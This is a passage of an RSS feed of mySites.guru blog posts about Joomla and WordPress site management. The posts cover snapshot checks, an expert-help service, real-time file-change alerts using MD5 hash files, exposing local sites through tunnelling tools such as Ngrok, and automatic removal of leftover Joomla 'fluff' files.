&lt;p&gt;At the end of each snapshot, mySites.guru gathers a list of your extensions, plugins, templates, and themes, then checks each one for available updates. This data feeds into tools like the &lt;a href=&quot;https://mysites.guru/blog/how-to-compare-joomla-templates-across-sites/&quot;&gt;Active Theme and Template List&lt;/a&gt;, which lets you see and compare every site&apos;s template across your entire portfolio.&lt;/p&gt;
&lt;p&gt;Depending on your settings, you can enable &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic updates&lt;/a&gt; for these - but that&apos;s a topic for another post.&lt;/p&gt;
&lt;p&gt;The snapshot also captures your site version, PHP version, and other environment details that feed into the dashboard overview. For Joomla 5 and 6 sites, it checks for &lt;a href=&quot;https://mysites.guru/blog/detect-locked-joomla-scheduled-tasks/&quot;&gt;locked scheduled tasks&lt;/a&gt; that can silently break background jobs like update notifications and backups.&lt;/p&gt;
&lt;h2&gt;Can the Snapshot Identify Hacks?&lt;/h2&gt;
&lt;p&gt;The snapshot isn&apos;t designed to find hacks - that&apos;s the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;security audit&apos;s&lt;/a&gt; job. But it does catch things. We push new checks frequently, and when we spot attack trends, we add checks for those too.&lt;/p&gt;
&lt;p&gt;For example, there was a specific attack that created usernames matching the pattern &lt;code&gt;Joomla.user.helper.XXXX&lt;/code&gt;. You probably wouldn&apos;t notice one suspicious username among thousands of users - but the mySites.guru snapshot would, flagging it for you to investigate.&lt;/p&gt;
&lt;p&gt;For a broader look at the security checks behind the snapshot, see the &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;WordPress and Joomla security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>snapshot</category><category>best practice</category><category>security</category><category>wordpress</category><category>joomla</category><enclosure url="https://mysites.guru/_astro/snapshot.DCen-XLF.webp" length="0" type="image/webp"/></item><item><title>Get Expert Help for Your Sites Instantly</title><link>https://mysites.guru/blog/get-expert-help-for-your-joomla-and-wordpress-problems-immediately/</link><guid isPermaLink="true">https://mysites.guru/blog/get-expert-help-for-your-joomla-and-wordpress-problems-immediately/</guid><description>mySites.guru subscribers get direct access to Phil Taylor for fast expert help with any Joomla or WordPress problem - set fees, no ticket queues.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Got a WordPress or Joomla problem and need expert help today? Phil Taylor is available for hire with set fees over at &lt;a href=&quot;https://fix.mySites.guru/&quot;&gt;fix.mySites.guru&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Phil is the developer behind mySites.guru and a long-term contributor to WordPress, Joomla, and Symfony - some of the biggest open source projects around.&lt;/p&gt;
&lt;h2&gt;Is your site broken? Hacked?&lt;/h2&gt;
&lt;p&gt;Get immediate help to fix your Joomla or WordPress site today. &lt;a href=&quot;https://www.phil-taylor.com/&quot;&gt;Phil Taylor&lt;/a&gt;, founder of &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt;, charges &lt;strong&gt;set fees&lt;/strong&gt; to fix sites - not hourly rates.&lt;/p&gt;
&lt;h2&gt;What Is Included?&lt;/h2&gt;
&lt;p&gt;A typical fix request covers one or more of the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fix of your &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;hacked site&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Upgrade to the latest version if needed&lt;/li&gt;
&lt;li&gt;Debug and fix PHP error messages&lt;/li&gt;
&lt;li&gt;Debug and fix White Screen of Death&lt;/li&gt;
&lt;li&gt;Debug and fix a specific issue you describe&lt;/li&gt;
&lt;li&gt;Investigation of a web hosting issue, with report&lt;/li&gt;
&lt;li&gt;Fixing PHP configuration and settings&lt;/li&gt;
&lt;li&gt;Debugging error messages and site crashes&lt;/li&gt;
&lt;li&gt;Advice and consultancy on the issue&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Set fee charged&lt;/strong&gt; - not per hour. Most smaller issues are a one-time set fee of GBP 120.&lt;/p&gt;
&lt;p&gt;Non-subscribers get a &lt;strong&gt;free month of mySites.guru&lt;/strong&gt; included with every fix. All results are explained in plain English, and your credentials are encrypted and timeboxed.&lt;/p&gt;
&lt;p&gt;Same-day resolution on average.&lt;/p&gt;
&lt;h2&gt;What Don&apos;t We Do?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Ongoing project work&lt;/li&gt;
&lt;li&gt;Website builds from scratch&lt;/li&gt;
&lt;li&gt;Plugin or extension development&lt;/li&gt;
&lt;li&gt;Template design (contact &lt;a href=&quot;https://www.stormcreativedesign.co.uk/&quot;&gt;Lee Tempest&lt;/a&gt; for that)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Who Is Phil Taylor?&lt;/h2&gt;
&lt;p&gt;The person behind this service is &lt;a href=&quot;https://www.phil-taylor.com/&quot;&gt;Phil E. Taylor&lt;/a&gt;, founder of mySites.guru and long-term contributor to the &lt;a href=&quot;https://joomla.org/&quot;&gt;Joomla project&lt;/a&gt;, &lt;a href=&quot;https://wordpress.org/&quot;&gt;WordPress&lt;/a&gt;, and &lt;a href=&quot;https://symfony.com/&quot;&gt;Symfony&lt;/a&gt;. Phil&apos;s strongest skill is debugging - getting to the root of a problem. Once the root issue is identified, the fix is normally straightforward. That experience is why he can offer a set fee rather than open-ended hourly billing.&lt;/p&gt;
&lt;p&gt;When your team has hit the limit of what they can figure out - after several days of head-scratching or when people are out of their depth - that&apos;s when to get in touch. Submit a request through the &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;secure work request form&lt;/a&gt; and Phil can get started the same day.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>support</category><category>joomla</category><category>wordpress</category><category>troubleshooting</category><enclosure url="https://mysites.guru/_astro/fix-1024x576.B-3IEN_l.webp" length="0" type="image/webp"/></item><item><title>Real-Time Alerts for File Changes &amp; Logins</title><link>https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/</guid><description>Get real-time email alerts when files change, admins log in, or SSL certificates near expiry across all your Joomla and WordPress sites with mySites.guru.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru is more than a suite of tools for &lt;a href=&quot;https://mysites.guru/&quot;&gt;managing multiple WordPress sites&lt;/a&gt;. Used by over &lt;a href=&quot;https://mysites.guru/blog/&quot;&gt;74,000 Joomla and WordPress sites&lt;/a&gt;, it also sends you real-time alerts when something happens on your sites - an admin login, a config change, a file that shouldn&apos;t have been touched.&lt;/p&gt;
&lt;h2&gt;Real-time alerting triggers&lt;/h2&gt;
&lt;p&gt;Your site notifies mySites.guru based on the preferences you configure: someone logging into the admin console, saving Global Configuration, or other triggers you care about.&lt;/p&gt;
&lt;p&gt;We&apos;re always looking to add more triggers - if you have ideas, &lt;a href=&quot;https://manage.mysites.guru/en/help/contact&quot;&gt;let us know&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The available real-time triggers for Joomla and WordPress sites&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Near real-time file monitoring&lt;/h2&gt;
&lt;p&gt;You can opt in to have specific files monitored on your site. When a monitored file is modified, your site informs mySites.guru and you get an alert.&lt;/p&gt;
&lt;p&gt;This is &quot;near real-time&quot; because the check runs on every page load. If someone edits a file through the Joomla or WordPress admin, the alert fires immediately - the page request that saves the change is also the page request that detects it. The only time there&apos;s a delay is if someone modifies a file over FTP and nobody visits the site for a while. Same idea as WordPress&apos;s web-cron.&lt;/p&gt;
&lt;p&gt;You can add unlimited files to the watch list, but in practice a short list of important files is enough - your configuration file, template files, and other files hackers tend to target. Not sure which files to monitor? Start by understanding &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;what hidden files are already in your webspace&lt;/a&gt; - some of them may surprise you.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;How the MD5 hash check works (the .myjoomla.configuration.php.md5 file)&lt;/h3&gt;
&lt;p&gt;If you&apos;ve looked at your Joomla site&apos;s file system and found a file called &lt;code&gt;.myjoomla.configuration.php.md5&lt;/code&gt;, that&apos;s the mySites.guru plugin doing its job. This is what it does.&lt;/p&gt;
&lt;p&gt;When you enable real-time file monitoring for &lt;code&gt;configuration.php&lt;/code&gt; (or any other file), the mySites.guru plugin calculates the MD5 hash of that file and writes it to a companion file. For &lt;code&gt;configuration.php&lt;/code&gt;, the companion file is &lt;code&gt;.myjoomla.configuration.php.md5&lt;/code&gt;. It contains nothing but the 32-character MD5 hash string of the file contents at the time it was last checked.&lt;/p&gt;
&lt;p&gt;On every single page load - front-end or back-end, any visitor, any page - the plugin recalculates the MD5 hash of &lt;code&gt;configuration.php&lt;/code&gt; and compares it to the hash stored in &lt;code&gt;.myjoomla.configuration.php.md5&lt;/code&gt;. Two outcomes:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hashes match:&lt;/strong&gt; The file hasn&apos;t changed. Nothing happens. The check adds negligible overhead - calculating an MD5 of a small config file takes microseconds.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hashes don&apos;t match:&lt;/strong&gt; The file has been modified since the last check. The plugin immediately sends a notification to mySites.guru, which fires an email alert to you (and any &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;team members&lt;/a&gt; who have alerts enabled for that site). The plugin then updates &lt;code&gt;.myjoomla.configuration.php.md5&lt;/code&gt; with the new hash, so the next page load won&apos;t trigger a duplicate alert for the same change.&lt;/p&gt;
&lt;p&gt;This works the same way for every file you add to the watch list. If you monitor &lt;code&gt;index.php&lt;/code&gt;, you&apos;ll get a &lt;code&gt;.myjoomla.index.php.md5&lt;/code&gt; file. Monitor &lt;code&gt;wp-config.php&lt;/code&gt; on a WordPress site and you&apos;ll get the equivalent companion hash file from the mySites.guru WordPress plugin.&lt;/p&gt;
&lt;h3&gt;Why configuration.php matters&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;configuration.php&lt;/code&gt; is one of the most important files on a Joomla site. It contains your database credentials, secret keys, error reporting settings, cache configuration, and tmp/log paths. If a hacker modifies this file, they can redirect your database connection, disable error reporting to hide their tracks, or change your tmp path to a location they control.&lt;/p&gt;
&lt;p&gt;Getting an alert the instant &lt;code&gt;configuration.php&lt;/code&gt; changes means you know about it before the hacker has time to do anything else. You don&apos;t need to wait for a scheduled scan or manually check your files - the next page load catches it.&lt;/p&gt;
&lt;h3&gt;Is it safe to delete .myjoomla.configuration.php.md5?&lt;/h3&gt;
&lt;p&gt;Yes, deleting it won&apos;t break your site. But the mySites.guru plugin will recreate it on the next page load and treat the file as if it&apos;s being monitored for the first time. You won&apos;t get a false alert - it simply recalculates the hash and stores it fresh. If you want to stop monitoring a file entirely, remove it from the watch list in your mySites.guru dashboard instead of deleting the hash file on disk.&lt;/p&gt;
&lt;h2&gt;Can You Whitelist Your Own IP?&lt;/h2&gt;
&lt;p&gt;You can whitelist IP addresses so your own changes don&apos;t trigger false alarms. The same principle applies to uptime monitoring - &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;whitelisting our monitoring IP&lt;/a&gt; prevents your server&apos;s firewall from blocking the uptime checks.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;SSL expiration alerting&lt;/h2&gt;
&lt;p&gt;mySites.guru has included SSL certificate expiration alerts since 2012. If your &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL certificate is approaching expiration&lt;/a&gt;, you&apos;ll get an alert based on your preferences. You can also set the number of grace days before the alert fires.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Send alerts to multiple people with team members&lt;/h2&gt;
&lt;p&gt;If you want alerts to go to more than one person, add &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;team members&lt;/a&gt; to your account. Each team member can set their own notification preferences per site. You can also &lt;a href=&quot;https://mysites.guru/blog/how-to-impersonate-your-mysites-guru-team-members/&quot;&gt;impersonate team members&lt;/a&gt; and configure their preferences on their behalf.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Alerting is one piece of what mySites.guru does - check the full &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;feature list&lt;/a&gt;, or run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free security audit&lt;/a&gt; on one of your sites to see it in action.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Real-time alerting is a core feature in our &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;monitoring and alerting guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>alerts</category><category>monitoring</category><category>security</category><category>file changes</category><enclosure url="https://mysites.guru/_astro/Homepage-sized-2.DzCYnbbV.webp" length="0" type="image/webp"/></item><item><title>Audit local sites or sites behind firewalls with mySites.guru</title><link>https://mysites.guru/blog/how-to-audit-your-local-sites-with-mysites-guru-or-behind-firewalls/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-audit-your-local-sites-with-mysites-guru-or-behind-firewalls/</guid><description>How to connect local development sites or sites behind corporate firewalls to mySites.guru using tunnelling tools like Ngrok, Expose, and Cloudflare Tunnel.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru works with any site it can reach over the internet. That normally means live production sites, but with a tunnelling tool you can also connect local development sites, staging environments, or sites behind corporate firewalls and NATs.&lt;/p&gt;
&lt;p&gt;Below we&apos;ll use &lt;a href=&quot;https://ngrok.com&quot;&gt;Ngrok&lt;/a&gt;, but &lt;a href=&quot;https://expose.dev&quot;&gt;Expose&lt;/a&gt; and &lt;a href=&quot;https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/&quot;&gt;Cloudflare Tunnel&lt;/a&gt; work the same way.&lt;/p&gt;
&lt;h2&gt;Why would you want to do this?&lt;/h2&gt;
&lt;p&gt;A few common scenarios:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You&apos;re building a site locally and want to run a &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; before it goes live&lt;/li&gt;
&lt;li&gt;You&apos;re &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;cleaning up a hacked site&lt;/a&gt; locally and want to verify the hack is fully removed before pushing it back to production&lt;/li&gt;
&lt;li&gt;You need to audit an intranet or server behind a corporate firewall that isn&apos;t normally accessible from the internet&lt;/li&gt;
&lt;li&gt;You want to test &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;uptime monitoring&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerts&lt;/a&gt; against a staging environment&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How Does Tunnelling Work?&lt;/h2&gt;
&lt;p&gt;Tunnelling tools create a secure connection between your local machine and a public URL. When mySites.guru connects to that URL, the traffic is routed through the tunnel back to your local web server. From mySites.guru&apos;s perspective, it looks like any other live website.&lt;/p&gt;
&lt;p&gt;Most tunnelling tools also provide a valid SSL certificate automatically, so even if your local site runs on plain HTTP, the public URL will be HTTPS.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;⚠️ Your site becomes publicly accessible&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-amber-800 dark:text-amber-300&quot;&amp;gt;While the tunnel is running, anyone with the URL can access your local site. The tunnel closes the moment you stop the tool. If this concerns you, paid plans on most tools let you restrict access by IP address - you can limit it to &amp;lt;a href=&quot;https://manage.mysites.guru/public/ips&quot; class=&quot;underline&quot;&amp;gt;mySites.guru&apos;s IP addresses&amp;lt;/a&amp;gt; only.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;How Do You Set Up with Ngrok?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://ngrok.com&quot;&gt;Ngrok&lt;/a&gt; is the most widely used tunnelling tool. It has free and paid tiers.&lt;/p&gt;
&lt;h3&gt;1. Install and authenticate&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://ngrok.com/download&quot;&gt;Download Ngrok&lt;/a&gt; for your operating system and install it. Then authenticate with your account token:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ngrok authtoken &amp;lt;YOUR_AUTH_TOKEN&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You&apos;ll find your auth token on the &lt;a href=&quot;https://dashboard.ngrok.com/get-started/setup&quot;&gt;Ngrok dashboard&lt;/a&gt; after signing up.&lt;/p&gt;
&lt;h3&gt;2. Start a tunnel&lt;/h3&gt;
&lt;p&gt;If your local site runs on port 80:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ngrok http 80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If it runs on a different port (e.g. 8080):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ngrok http 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If your local site uses a hostname like &lt;code&gt;https://myhackedsite.local:8081&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ngrok http https://myhackedsite.local:8081
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You&apos;ll see output like this:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The HTTPS URL shown (e.g. &lt;code&gt;https://c8b94007b63b.ngrok.io&lt;/code&gt;) is what you&apos;ll give to mySites.guru.&lt;/p&gt;
&lt;h3&gt;3. Connect to mySites.guru&lt;/h3&gt;
&lt;p&gt;Take the HTTPS URL from Ngrok and &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;add it as a site&lt;/a&gt; in your mySites.guru account, just like you would any live site.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;ℹ️ Subscription requirement&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;You need an unlimited-sites subscription to connect tunnel URLs. Free trial, disposable, and single-site accounts cannot use tunnel URLs - this prevents fraud and abuse.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h3&gt;4. When you&apos;re done&lt;/h3&gt;
&lt;p&gt;Press &lt;code&gt;Ctrl+C&lt;/code&gt; in the terminal to stop the tunnel. Your local site immediately becomes inaccessible from the internet.&lt;/p&gt;
&lt;p&gt;On the free Ngrok tier, the URL changes every time you start a new tunnel. If you want a persistent URL, &lt;a href=&quot;https://ngrok.com/pricing&quot;&gt;upgrade to a paid plan&lt;/a&gt; and reserve a custom domain.&lt;/p&gt;
&lt;p&gt;If you&apos;re using WordPress and running into issues with Ngrok, check the &lt;a href=&quot;https://ngrok.com/docs#wordpress&quot;&gt;WordPress-specific notes&lt;/a&gt; in the Ngrok docs.&lt;/p&gt;
&lt;h2&gt;What Are the Alternatives to Ngrok?&lt;/h2&gt;
&lt;p&gt;Ngrok is the most widely used option, but there are good alternatives.&lt;/p&gt;
&lt;h3&gt;Expose&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://expose.dev&quot;&gt;Expose&lt;/a&gt; is a tunnelling tool written in PHP. It works the same way as Ngrok: install it, run a command, and get a public URL for your local site.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;expose share http://localhost:8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expose has a free hobby tier with time-limited sessions and random URLs. The Pro plan ($79/year) adds persistent URLs, custom domains, and access to global servers. If your stack is PHP-heavy, Expose feels like a natural fit. It also integrates with &lt;a href=&quot;https://herd.laravel.com/&quot;&gt;Laravel Herd&lt;/a&gt; if you use that for local development.&lt;/p&gt;
&lt;h3&gt;Cloudflare Tunnel&lt;/h3&gt;
&lt;p&gt;If you already use Cloudflare for DNS, &lt;a href=&quot;https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/&quot;&gt;Cloudflare Tunnel&lt;/a&gt; (formerly Argo Tunnel) can expose local services through your existing Cloudflare setup. It&apos;s free for personal use through the Zero Trust dashboard.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cloudflared tunnel --url http://localhost:8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The main advantage is that traffic stays within Cloudflare&apos;s network, and you can layer on their access policies for authentication. The trade-off is more setup than Ngrok or Expose.&lt;/p&gt;
&lt;h3&gt;Tailscale Funnel&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://tailscale.com/kb/1223/funnel/&quot;&gt;Tailscale Funnel&lt;/a&gt; lets you expose a local service to the internet through Tailscale&apos;s network. It&apos;s free with a Tailscale account. Good if you already use Tailscale for your VPN.&lt;/p&gt;
&lt;p&gt;All of these work with mySites.guru. The only requirement is that the tool gives you a public HTTPS URL that mySites.guru can reach.&lt;/p&gt;
&lt;h2&gt;What Can You Do Once Connected?&lt;/h2&gt;
&lt;p&gt;Once connected, your local site gets the full mySites.guru toolset - &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audits&lt;/a&gt; that scan every file for hacks, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshots&lt;/a&gt; for best-practice checks, &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;file monitoring&lt;/a&gt; for real-time change alerts, and &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;uptime monitoring&lt;/a&gt; if you want to keep tabs on a staging environment.&lt;/p&gt;
&lt;p&gt;mySites.guru doesn&apos;t know or care that the site is running on your laptop. It treats it the same as any live production site.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Local auditing fits into the broader security workflow in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security audits</category><category>local sites</category><category>firewalls</category><category>ngrok</category><category>tunnelling</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-7.D46rXhEe.webp" length="0" type="image/webp"/></item><item><title>Remove Fluff Files After Joomla Updates</title><link>https://mysites.guru/blog/how-to-automatically-remove-fluff-files-after-joomla-updates/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-automatically-remove-fluff-files-after-joomla-updates/</guid><description>mySites.guru can automatically delete leftover installation folders, readme files and other fluff left behind after Joomla core updates.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;What is fluff??? – &lt;em&gt;Unneeded files that Joomla distributes that you can safely remove from your site.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;Remove the joomla fluff after each update&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Lots of people asked us to remove “Fluff files” automatically on upgrading Joomla – well, you can now opt in for this on the &lt;strong&gt;Settings Tab&lt;/strong&gt; of  your &lt;strong&gt;Manage Site&lt;/strong&gt; pages in your account at &lt;a href=&quot;https://mysites.guru&quot;&gt;https://mysites.guru&lt;/a&gt;. If you&apos;re on Joomla 5.4+, you should also check whether &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;automated core updates&lt;/a&gt; are enabled on your sites, since those can trigger updates (and leave fluff behind) without anyone touching the admin panel.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Removing these files won&apos;t damage your site - it just tidies up your webspace. There&apos;s no risk in leaving them, but removing them is good practice.&lt;/p&gt;
&lt;p&gt;You can check the status of these files at any time on the Snapshot Tab.&lt;/p&gt;
&lt;p&gt;After a snapshot is taken in mySites.guru, we display the number of files that are found in the snapshot results page&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The &quot;Learn More&quot; button explains the check and the technical details. The &quot;Investigate&quot; button deletes the fluff files from your site.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The files which we will remove are:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/.appveyor.yml
/.drone.yml
/.editorconfig
/.git-blame-ignore-revs
/.gitignore
/.php-cs-fixer.dist.php
/.travis.yml
/build.xml
/CHANGELOG.php
/CODE_OF_CONDUCT.md
/configuration.php-dist
/CONTRIBUTING.md
/COPYRIGHT.php
/CREDITS.php
/cypress.config.dist.js
/htaccess.txt
/INSTALL.php
/joomla.xml
/LICENSE.php
/LICENSE.txt
/LICENSES.php
/package.json
/package-lock.json
/phpunit.xml.dist
/phpunit-pgsql.xml.dist
/README.md
/README.txt
/renovate.json
/robots.txt.dist
/ruleset.xml
/travisci-phpunit.xml
/web.config.txt
/images/banners/osmbanner1.png
/images/banners/osmbanner2.png
/images/banners/shop-ad-books.jpg
/images/banners/shop-ad.jpg
/images/banners/white.png
/images/headers/blue-flower.jpg
/images/headers/maple.jpg
/images/headers/raindrops.jpg
/images/headers/walden-pond.jpg
/images/headers/windows.jpg
/images/joomla_black.gif
/images/joomla_black.png
/images/joomla_green.gif
/images/joomla_logo_black.jpg
/images/powered_by.png
/images/sampledata/fruitshop/apple.jpg
/images/sampledata/fruitshop/bananas_2.jpg
/images/sampledata/fruitshop/fruits.gif
/images/sampledata/fruitshop/tamarind.jpg
/images/sampledata/parks/animals/180px_koala_ag1.jpg
/images/sampledata/parks/animals/180px_wobbegong.jpg
/images/sampledata/parks/animals/200px_phyllopteryx_taeniolatus1.jpg
/images/sampledata/parks/animals/220px_spottedquoll_2005_seanmcclean.jpg
/images/sampledata/parks/animals/789px_spottedquoll_2005_seanmcclean.jpg
/images/sampledata/parks/animals/800px_koala_ag1.jpg
/images/sampledata/parks/animals/800px_phyllopteryx_taeniolatus1.jpg
/images/sampledata/parks/animals/800px_wobbegong.jpg
/images/sampledata/parks/banner_cradle.jpg
/images/sampledata/parks/landscape/120px_pinnacles_western_australia.jpg
/images/sampledata/parks/landscape/120px_rainforest_bluemountainsnsw.jpg
/images/sampledata/parks/landscape/180px_ormiston_pound.jpg
/images/sampledata/parks/landscape/250px_cradle_mountain_seen_from_barn_bluff.jpg
/images/sampledata/parks/landscape/727px_rainforest_bluemountainsnsw.jpg
/images/sampledata/parks/landscape/800px_cradle_mountain_seen_from_barn_bluff.jpg
/images/sampledata/parks/landscape/800px_ormiston_pound.jpg
/images/sampledata/parks/landscape/800px_pinnacles_western_australia.jpg
/images/sampledata/parks/parks.gif
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Please note, just because we call the License file fluff, doesnt mean we believe the license Joomla is distributed under is fluff – just to be clear 🙂 The GPL recommends that the text of the license is distributed with the Open Source of the product, but you don’t need it there cluttering up your webspace.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We did try to get the Joomla project to see sense, but failed 😉&lt;/p&gt;
&lt;h2&gt;Can You View Fluff File Status Across All Joomla Sites?&lt;/h2&gt;
&lt;p&gt;The Ultimate Toolset at mySites.guru allows you to view how many fluff files are on each Joomla site at a glance also. like this:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;View the fluff files in Joomla across many sites&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Does mySites.guru Check Technical Requirements Too?&lt;/h2&gt;
&lt;p&gt;Planning an upgrade? mySites.guru can check whether your sites meet the technical requirements for &lt;a href=&quot;https://mysites.guru/blog/joomla-5-technical-requirements-check/&quot;&gt;Joomla 5&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6&lt;/a&gt; before you hit the update button - across all your connected sites at once.&lt;/p&gt;
&lt;h2&gt;What About Hidden Files?&lt;/h2&gt;
